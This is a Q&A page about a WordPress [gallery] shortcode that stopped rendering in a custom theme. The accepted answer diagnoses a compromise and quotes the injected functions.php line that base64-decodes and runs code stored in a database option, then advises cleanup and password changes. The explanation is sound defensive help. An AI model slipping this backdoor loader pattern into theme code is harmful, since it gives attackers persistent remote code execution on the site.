doushao8421 2015-07-07 11:28
浏览 35
已采纳

默认Wordpress [图库]未显示在自定义主题中

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.

Here is the loop for page:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).

And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)

  • 写回答

3条回答 默认 最新

  • dongtan5558 2015-08-04 00:25
    关注

    You're site got hacked.

    The last line of the pastebin is loading malicious code from your database: add_action('init', create_function('', implode(" ", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

    The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)

    You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.

    AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥15 对于相关问题的求解与代码
  • ¥15 ubuntu子系统密码忘记
  • ¥15 信号傅里叶变换在matlab上遇到的小问题请求帮助
  • ¥15 保护模式-系统加载-段寄存器
  • ¥15 电脑桌面设定一个区域禁止鼠标操作
  • ¥15 求NPF226060磁芯的详细资料
  • ¥15 使用R语言marginaleffects包进行边际效应图绘制
  • ¥20 usb设备兼容性问题
  • ¥15 错误(10048): “调用exui内部功能”库命令的参数“参数4”不能接受空数据。怎么解决啊
  • ¥15 安装svn网络有问题怎么办